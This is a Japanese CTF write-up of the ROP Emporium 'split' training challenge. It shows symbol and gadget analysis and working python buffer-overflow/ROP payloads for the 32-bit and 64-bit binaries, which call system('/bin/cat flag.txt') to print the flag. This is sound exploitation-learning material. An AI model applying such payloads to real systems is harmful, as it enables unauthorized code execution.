ROP Emporium split writeup

# ROP Emporium

ROPの練習問題集

[ROP Emporium](https://ropemporium.com/)

解法時のメモをまとめておきます。
誤りや指摘事項があれば、コメントお願いします。

## writeup link

- [ret2win](https://qiita.com/ham_o_o_/items/3d022bad3938fce53f15)
- [split](https://qiita.com/ham_o_o_/items/a84c90f033f20854ddd8)
- [callme](https://qiita.com/ham_o_o_/items/8aa7055c284feac4f6a1)
- [write4](https://qiita.com/ham_o_o_/items/a795741145986088a397)
- [badchars](https://qiita.com/ham_o_o_/items/14c59aa72cbd9ba9fab0)
- [fluff](https://qiita.com/ham_o_o_/items/42144f50a44daf8afbf5)


## split32 writeup

32bitのELF実行ファイル。
とりあえず、実行してみる。


```
# file ./split32
./split32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f8a6d6bf3d264d331ecbf9d1e6858d6eac124b89, not stripped
#
#
# ./split32 
split by ROP Emporium
32bits

Contriving a reason to ask user for data...
> test

Exiting
#
```

nmコマンドで実行ファイルのシンボル情報を確認する。
[nm](https://linuxcommand.net/nm/)
usefulFunction / usefulStringというシンボルがある。
これを使えということか。。。

gdbの`info func`コマンドでは関数のシンボルしか表示されない。
シンボルの確認では、nmコマンドを使った方が良い

```
# nm ./split32
0804a04a B __bss_start
0804a088 b completed.7200
0804a028 D __data_start
0804a028 W data_start
080484c0 t deregister_tm_clones
08048530 t __do_global_dtors_aux
08049f0c d __do_global_dtors_aux_fini_array_entry
0804a02c D __dso_handle
08049f14 d _DYNAMIC
0804a04a D _edata
0804a08c B _end
         U fgets@@GLIBC_2.0
080486d4 T _fini
080486e8 R _fp_hw
08048550 t frame_dummy
08049f08 d __frame_dummy_init_array_entry
08048894 r __FRAME_END__
0804a000 d _GLOBAL_OFFSET_TABLE_
         w __gmon_start__
08048750 r __GNU_EH_FRAME_HDR
080483c0 T _init
08049f0c d __init_array_end
08049f08 d __init_array_start
080486ec R _IO_stdin_used
         w _ITM_deregisterTMCloneTable
         w _ITM_registerTMCloneTable
08049f10 d __JCR_END__
08049f10 d __JCR_LIST__
         w _Jv_RegisterClasses
080486d0 T __libc_csu_fini
08048670 T __libc_csu_init
         U __libc_start_main@@GLIBC_2.0
0804857b T main
         U memset@@GLIBC_2.0
         U printf@@GLIBC_2.0
         U puts@@GLIBC_2.0
080485f6 t pwnme
080484f0 t register_tm_clones
         U setvbuf@@GLIBC_2.0
08048480 T _start
0804a060 B stderr@@GLIBC_2.0
0804a080 B stdin@@GLIBC_2.0
0804a084 B stdout@@GLIBC_2.0
         U system@@GLIBC_2.0
0804a04c D __TMC_END__
08048649 t usefulFunction
0804a030 D usefulString
080484b0 T __x86.get_pc_thunk.bx
# 
```

gdbでsplit32を解析していく。
canaryは今回も無効。

```
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ 
```

main / pwnme関数の内容は他の問題と同様。
[ret2win writeup](https://qiita.com/ham_o_o_/items/3d022bad3938fce53f15)

nmコマンドで確認できたusefulFunction / usefulStringを見てみる。

usefulFunctionは`/bin/ls`を実行する関数。

```
gdb-peda$ pdis usefulFunction
Dump of assembler code for function usefulFunction:
   0x08048649 <+0>:	push   ebp
   0x0804864a <+1>:	mov    ebp,esp
   0x0804864c <+3>:	sub    esp,0x8
   0x0804864f <+6>:	sub    esp,0xc
   0x08048652 <+9>:	push   0x8048747
   0x08048657 <+14>:	call   0x8048430 <system@plt>
   0x0804865c <+19>:	add    esp,0x10
   0x0804865f <+22>:	nop
   0x08048660 <+23>:	leave  
   0x08048661 <+24>:	ret    
End of assembler dump.
gdb-peda$ 
```

```
gdb-peda$ x/s 0x8048747
0x8048747:	"/bin/ls"
gdb-peda$ 
```

```
gdb-peda$ x/s 0x0804a030
0x804a030 <usefulString>:	"/bin/cat flag.txt"
gdb-peda$ 
```

usefulStringは`/bin/cat flag.txt`の文字列。
usefulStringを引数としてusefulFunctionのsystemを実行すれば、`system("/bin/cat flag.txt")`となり、フラグが出力されそう。

system関数へはbuffer overflowを使って実行する。
usefulStringは引数としてstackに積んでおく。

[x86アセンブリ言語での関数コール](https://vanya.jp.net/os/x86call/index.html)

ret2winと同様にpattc / pattoコマンドを使用してリターンアドレスまでの入力サイズを確認する。
リターンアドレスまでのサイズは44byte。

44byteのダミー文字の後にusefulFunctionでsystemを呼び出していたアドレスとusefulStringのアドレスを付け足す。

```
# python -c "print 'A'*44 + '\x57\x86\x04\x08' + '\x30\xa0\x04\x08'"  | ./split32 
split by ROP Emporium
32bits

Contriving a reason to ask user for data...
> ROPE{a_placeholder_32byte_flag!}
Segmentation fault
# 
```

ret2pltをする場合は、return addressと引数の間に、system@pltのreturn addressとしてダミー文字列を入れる必要がある。

```
# python -c "print 'A'*44 + '\x57\x86\x04\x08' + 'A'*4 + '\x30\xa0\x04\x08'"  | ./split32 
split by ROP Emporium
32bits

Contriving a reason to ask user for data...
> Segmentation fault
# 
```


## split writeup

split32の64bit版。
64bitの実行ファイルになっているが、実行時の出力メッセージは特に変化なし。

```
# file ./split
./split: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8cbc19d1114b70bce2305f7ded9e7dd4d2e28069, not stripped
# 
# 
# 
# 
# ./split 
split by ROP Emporium
64bits

Contriving a reason to ask user for data...
> test

Exiting
# 
```

nmコマンドで実行ファイルのシンボル情報を確認する。
usefulFunction / usefulStringというシンボルがある。
split32同様、これらを確認していく。

```
# nm ./split
000000000060107a B __bss_start
00000000006010a8 b completed.7585
0000000000601050 D __data_start
0000000000601050 W data_start
0000000000400680 t deregister_tm_clones
0000000000400700 t __do_global_dtors_aux
0000000000600e18 d __do_global_dtors_aux_fini_array_entry
0000000000601058 D __dso_handle
0000000000600e28 d _DYNAMIC
000000000060107a D _edata
00000000006010b0 B _end
                 U fgets@@GLIBC_2.2.5
0000000000400894 T _fini
0000000000400720 t frame_dummy
0000000000600e10 d __frame_dummy_init_array_entry
0000000000400a80 r __FRAME_END__
0000000000601000 d _GLOBAL_OFFSET_TABLE_
                 w __gmon_start__
0000000000400908 r __GNU_EH_FRAME_HDR
00000000004005a0 T _init
0000000000600e18 d __init_array_end
0000000000600e10 d __init_array_start
00000000004008a0 R _IO_stdin_used
                 w _ITM_deregisterTMCloneTable
                 w _ITM_registerTMCloneTable
0000000000600e20 d __JCR_END__
0000000000600e20 d __JCR_LIST__
                 w _Jv_RegisterClasses
0000000000400890 T __libc_csu_fini
0000000000400820 T __libc_csu_init
                 U __libc_start_main@@GLIBC_2.2.5
0000000000400746 T main
                 U memset@@GLIBC_2.2.5
                 U printf@@GLIBC_2.2.5
                 U puts@@GLIBC_2.2.5
00000000004007b5 t pwnme
00000000004006c0 t register_tm_clones
                 U setvbuf@@GLIBC_2.2.5
0000000000400650 T _start
00000000006010a0 B stderr@@GLIBC_2.2.5
0000000000601090 B stdin@@GLIBC_2.2.5
0000000000601080 B stdout@@GLIBC_2.2.5
                 U system@@GLIBC_2.2.5
0000000000601080 D __TMC_END__
0000000000400807 t usefulFunction
0000000000601060 D usefulString
# 
```

gdbでsplit32を解析していく。
canaryは今回も無効。

```
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ 
```

main / pwnme関数の内容は他の問題と同様。

nmコマンドで確認できたusefulFunction / usefulStringを見てみる。

usefulFunctionは/bin/lsを実行する関数。

```
gdb-peda$ pdis usefulFunction
Dump of assembler code for function usefulFunction:
   0x0000000000400807 <+0>:	push   rbp
   0x0000000000400808 <+1>:	mov    rbp,rsp
   0x000000000040080b <+4>:	mov    edi,0x4008ff
   0x0000000000400810 <+9>:	call   0x4005e0 <system@plt>
   0x0000000000400815 <+14>:	nop
   0x0000000000400816 <+15>:	pop    rbp
   0x0000000000400817 <+16>:	ret    
End of assembler dump.
gdb-peda$ 
```

```
gdb-peda$ x/s 0x4008ff
0x4008ff:	"/bin/ls"
gdb-peda$ 
```

```
gdb-peda$ x/s 0x601060
0x601060 <usefulString>:	"/bin/cat flag.txt"
gdb-peda$ 
```

usefulStringは`/bin/cat flag.txt`の文字列。
usefulStringを引数としてusefulFunctionのsystemを実行すれば、`system("/bin/cat flag.txt")`となり、フラグが出力されそう。

x64では引数をレジスタに格納する必要がある。
`pop rdi; ret`のrop gadgetがないか調べる。

[x64の関数呼び出し](https://qiita.com/FAMASoon/items/a93c1361f80bb28f895c)

```
# ROPgadget --binary ./split
Gadgets information
============================================================
0x00000000004006a2 : adc byte ptr [rax], ah ; jmp rax
0x000000000040080e : add al, bpl ; retf
0x000000000040080f : add al, ch ; retf
0x000000000040088f : add bl, dh ; ret
0x000000000040088d : add byte ptr [rax], al ; add bl, dh ; ret
0x000000000040088b : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004006ac : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000040088c : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x00000000004005b3 : add byte ptr [rax], al ; add rsp, 8 ; ret
0x00000000004006ae : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040088e : add byte ptr [rax], al ; ret
0x0000000000400718 : add byte ptr [rcx], al ; ret
0x0000000000400714 : add eax, 0x20098e ; add ebx, esi ; ret
0x0000000000400719 : add ebx, esi ; ret
0x00000000004005b6 : add esp, 8 ; ret
0x00000000004005b5 : add rsp, 8 ; ret
0x0000000000400717 : and byte ptr [rax], al ; add ebx, esi ; ret
0x0000000000400a0b : call qword ptr [rcx]
0x000000000040073e : call rax
0x000000000040080c : dec dword ptr [rax] ; add al, bpl ; retf
0x000000000040086c : fmul qword ptr [rax - 0x7d] ; ret
0x000000000040080a : in eax, 0xbf ; dec dword ptr [rax] ; add al, bpl ; retf
0x0000000000400739 : int1 ; push rbp ; mov rbp, rsp ; call rax
0x000000000040069d : je 0x4006b8 ; pop rbp ; mov edi, 0x601080 ; jmp rax
0x00000000004006eb : je 0x400700 ; pop rbp ; mov edi, 0x601080 ; jmp rax
0x0000000000400738 : je 0x400731 ; push rbp ; mov rbp, rsp ; call rax
0x00000000004006a5 : jmp rax
0x0000000000400805 : leave ; ret
0x0000000000400713 : mov byte ptr [rip + 0x20098e], 1 ; ret
0x0000000000400715 : mov cs, word ptr [rcx] ; and byte ptr [rax], al ; add ebx, esi ; ret
0x00000000004007ae : mov eax, 0 ; pop rbp ; ret
0x00000000004005b1 : mov eax, dword ptr [rax] ; add byte ptr [rax], al ; add rsp, 8 ; ret
0x000000000040073c : mov ebp, esp ; call rax
0x00000000004006a0 : mov edi, 0x601080 ; jmp rax
0x000000000040073b : mov rbp, rsp ; call rax
0x0000000000400804 : nop ; leave ; ret
0x0000000000400815 : nop ; pop rbp ; ret
0x00000000004006a8 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x0000000000400888 : nop dword ptr [rax + rax] ; ret
0x00000000004006f5 : nop dword ptr [rax] ; pop rbp ; ret
0x0000000000400716 : or dword ptr [rax], esp ; add byte ptr [rcx], al ; ret
0x000000000040087c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040087e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400880 : pop r14 ; pop r15 ; ret
0x0000000000400882 : pop r15 ; ret
0x0000000000400712 : pop rbp ; mov byte ptr [rip + 0x20098e], 1 ; ret
0x000000000040069f : pop rbp ; mov edi, 0x601080 ; jmp rax
0x000000000040087b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040087f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop rbp ; ret
0x0000000000400883 : pop rdi ; ret
0x0000000000400881 : pop rsi ; pop r15 ; ret
0x000000000040087d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040073a : push rbp ; mov rbp, rsp ; call rax
0x00000000004005b9 : ret
0x0000000000400811 : retf
0x0000000000400737 : sal byte ptr [rcx + rsi*8 + 0x55], 0x48 ; mov ebp, esp ; call rax
0x0000000000400895 : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000400894 : sub rsp, 8 ; add rsp, 8 ; ret
0x00000000004006aa : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000040088a : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400736 : test eax, eax ; je 0x400733 ; push rbp ; mov rbp, rsp ; call rax
0x0000000000400735 : test rax, rax ; je 0x400734 ; push rbp ; mov rbp, rsp ; call rax

Unique gadgets found: 63
# 
```

`0x400883`に`pop rdi; ret`のgadgetがある。

stackが以下のようになるようにペイロードを作成する。

```
+--------------------+
|        dummy       |
+--------------------+
|       pop rdi      |
+--------------------+
|    usefulString    |
+--------------------+
|       system       |
+--------------------+
```

ret2winと同様にpattc / pattoコマンドを使用してリターンアドレスまでの入力サイズを確認する。
リターンアドレスまでのサイズは40byte。

```
# python -c "print 'A'*40 + '\x83\x08\x40\x00\x00\x00\x00\x00' + '\x60\x10\x60\x00\x00\x00\x00\x00' + '\xe0\x05\x40\x00\x00\x00\x00\x00'" | ./split 
split by ROP Emporium
64bits

Contriving a reason to ask user for data...
> ROPE{a_placeholder_32byte_flag!}
Segmentation fault
```